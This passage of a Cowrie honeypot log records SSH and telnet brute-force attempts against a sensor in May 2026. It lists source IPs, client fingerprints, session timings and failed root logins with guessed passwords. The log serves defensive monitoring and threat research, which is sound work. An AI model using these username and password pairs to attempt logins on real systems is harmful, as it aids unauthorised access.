sa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:07.778137Z","src_ip":"43.156.63.254","session":"f6d2b88c8af6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd#123","message":"login attempt [root/P@ssw0rd#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:08.791101Z","src_ip":"43.156.63.254","session":"f6d2b88c8af6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:10.039843Z","src_ip":"43.156.63.254","session":"f6d2b88c8af6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.117.24.180","src_port":56142,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca64969ddf82","protocol":"ssh","message":"New connection: 79.117.24.180:56142 (10.17.0.5:22) [session: ca64969ddf82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:15.524719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:15.530245Z","src_ip":"79.117.24.180","session":"ca64969ddf82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.962892055511475,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:15.542614Z","src_ip":"152.42.224.71","session":"bff41cd0ad7e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:15.644931Z","src_ip":"79.117.24.180","session":"ca64969ddf82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45564,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a5ee6f9d99a","protocol":"telnet","message":"New connection: 152.42.224.71:45564 (10.17.0.5:23) [session: 2a5ee6f9d99a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:16.054797Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1235","message":"login attempt [root/1235] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:16.102603Z","src_ip":"79.117.24.180","session":"ca64969ddf82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59340,"dst_ip":"10.17.0.5","dst_port":23,"session":"457fb85f9101","protocol":"telnet","message":"New connection: 152.42.224.71:59340 (10.17.0.5:23) [session: 457fb85f9101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:16.305268Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:17.211581Z","src_ip":"79.117.24.180","session":"ca64969ddf82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":50038,"dst_ip":"10.17.0.5","dst_port":22,"session":"21d843d88caa","protocol":"ssh","message":"New connection: 80.94.92.184:50038 (10.17.0.5:22) [session: 21d843d88caa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:22.900361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:22.971843Z","src_ip":"80.94.92.184","session":"21d843d88caa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:23.180192Z","src_ip":"80.94.92.184","session":"21d843d88caa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12","message":"login attempt [solv/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:23.747684Z","src_ip":"80.94.92.184","session":"21d843d88caa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45570,"dst_ip":"10.17.0.5","dst_port":23,"session":"11679faa14d7","protocol":"telnet","message":"New connection: 152.42.224.71:45570 (10.17.0.5:23) [session: 11679faa14d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:24.973386Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:25.062561Z","src_ip":"80.94.92.184","session":"21d843d88caa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45582,"dst_ip":"10.17.0.5","dst_port":23,"session":"65113179bb87","protocol":"telnet","message":"New connection: 152.42.224.71:45582 (10.17.0.5:23) [session: 65113179bb87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:25.409514Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52984,"dst_ip":"10.17.0.5","dst_port":23,"session":"98fc7a48109a","protocol":"telnet","message":"New connection: 152.42.224.71:52984 (10.17.0.5:23) [session: 98fc7a48109a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:27.793704Z"}
{"eventid":"cowrie.session.closed","duration":120.00308108329773,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:30.035369Z","src_ip":"152.42.224.71","session":"f30555e586ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.142.250","src_port":35706,"dst_ip":"10.17.0.5","dst_port":22,"session":"19bf4421baa8","protocol":"ssh","message":"New connection: 43.134.142.250:35706 (10.17.0.5:22) [session: 19bf4421baa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:33.727137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:33.731059Z","src_ip":"43.134.142.250","session":"19bf4421baa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:33.975958Z","src_ip":"43.134.142.250","session":"19bf4421baa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sofien","message":"login attempt [root/sofien] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:34.989953Z","src_ip":"43.134.142.250","session":"19bf4421baa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:36.239176Z","src_ip":"43.134.142.250","session":"19bf4421baa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":83.81966853141785,"message":"Connection lost after 83 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:40.596212Z","src_ip":"152.42.224.71","session":"b3e4302cfcab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55360,"dst_ip":"10.17.0.5","dst_port":23,"session":"d94d48ec1629","protocol":"telnet","message":"New connection: 152.42.224.71:55360 (10.17.0.5:23) [session: d94d48ec1629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:42.860363Z"}
{"eventid":"cowrie.session.closed","duration":96.73472428321838,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:44.510026Z","src_ip":"152.42.224.71","session":"172f550c0de0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":90.99361252784729,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:49.893654Z","src_ip":"152.42.224.71","session":"3fe14921e402","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.32450008392334,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:53.379196Z","src_ip":"152.42.224.71","session":"2a5ee6f9d99a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.52.100.110","src_port":58154,"dst_ip":"159.203.135.109","dst_port":23,"session":"49bdba82ca80","protocol":"telnet","message":"New connection: 122.52.100.110:58154 (159.203.135.109:23) [session: 49bdba82ca80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:54.716176Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":43280,"dst_ip":"10.17.0.5","dst_port":22,"session":"416f45358679","protocol":"ssh","message":"New connection: 171.244.37.103:43280 (10.17.0.5:22) [session: 416f45358679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:58.990491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:58.995278Z","src_ip":"171.244.37.103","session":"416f45358679","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:59.236300Z","src_ip":"171.244.37.103","session":"416f45358679","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.37951064109802,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:59.684672Z","src_ip":"152.42.224.71","session":"457fb85f9101","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@2013","message":"login attempt [root/admin@2013] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:00.228435Z","src_ip":"171.244.37.103","session":"416f45358679","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:01.474075Z","src_ip":"171.244.37.103","session":"416f45358679","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.834080457687378,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:07.550127Z","src_ip":"122.52.100.110","session":"49bdba82ca80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.927722930908203,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:07.787990Z","src_ip":"152.42.224.71","session":"d94d48ec1629","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46626,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4b8cf8dc645","protocol":"telnet","message":"New connection: 152.42.224.71:46626 (10.17.0.5:23) [session: a4b8cf8dc645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:09.099742Z"}
{"eventid":"cowrie.session.closed","duration":94.47914481163025,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:09.586296Z","src_ip":"152.42.224.71","session":"5b15fa16f483","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.947144985198975,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:10.920416Z","src_ip":"152.42.224.71","session":"11679faa14d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.71884608268738,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:13.512384Z","src_ip":"152.42.224.71","session":"98fc7a48109a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46642,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ed119c1d1f0","protocol":"telnet","message":"New connection: 152.42.224.71:46642 (10.17.0.5:23) [session: 1ed119c1d1f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:13.847006Z"}
{"eventid":"cowrie.session.closed","duration":120.00601744651794,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:18.607033Z","src_ip":"152.42.224.71","session":"bb030de7db8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44316,"dst_ip":"10.17.0.5","dst_port":23,"session":"82763f442dfa","protocol":"telnet","message":"New connection: 152.42.224.71:44316 (10.17.0.5:23) [session: 82763f442dfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:21.140901Z"}
{"eventid":"cowrie.session.closed","duration":100.17921161651611,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:22.069957Z","src_ip":"152.42.224.71","session":"ccbe920c8308","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":39388,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0f30fd66f57","protocol":"ssh","message":"New connection: 103.195.236.96:39388 (10.17.0.5:22) [session: d0f30fd66f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:22.634885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:22.640105Z","src_ip":"103.195.236.96","session":"d0f30fd66f57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:22.911796Z","src_ip":"103.195.236.96","session":"d0f30fd66f57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4815162342a","message":"login attempt [root/4815162342a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:23.643861Z","src_ip":"103.195.236.96","session":"d0f30fd66f57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:24.895324Z","src_ip":"103.195.236.96","session":"d0f30fd66f57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.63.254","src_port":51746,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc1a88e5fb86","protocol":"ssh","message":"New connection: 43.156.63.254:51746 (10.17.0.5:22) [session: cc1a88e5fb86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:26.028339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:26.033872Z","src_ip":"43.156.63.254","session":"cc1a88e5fb86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 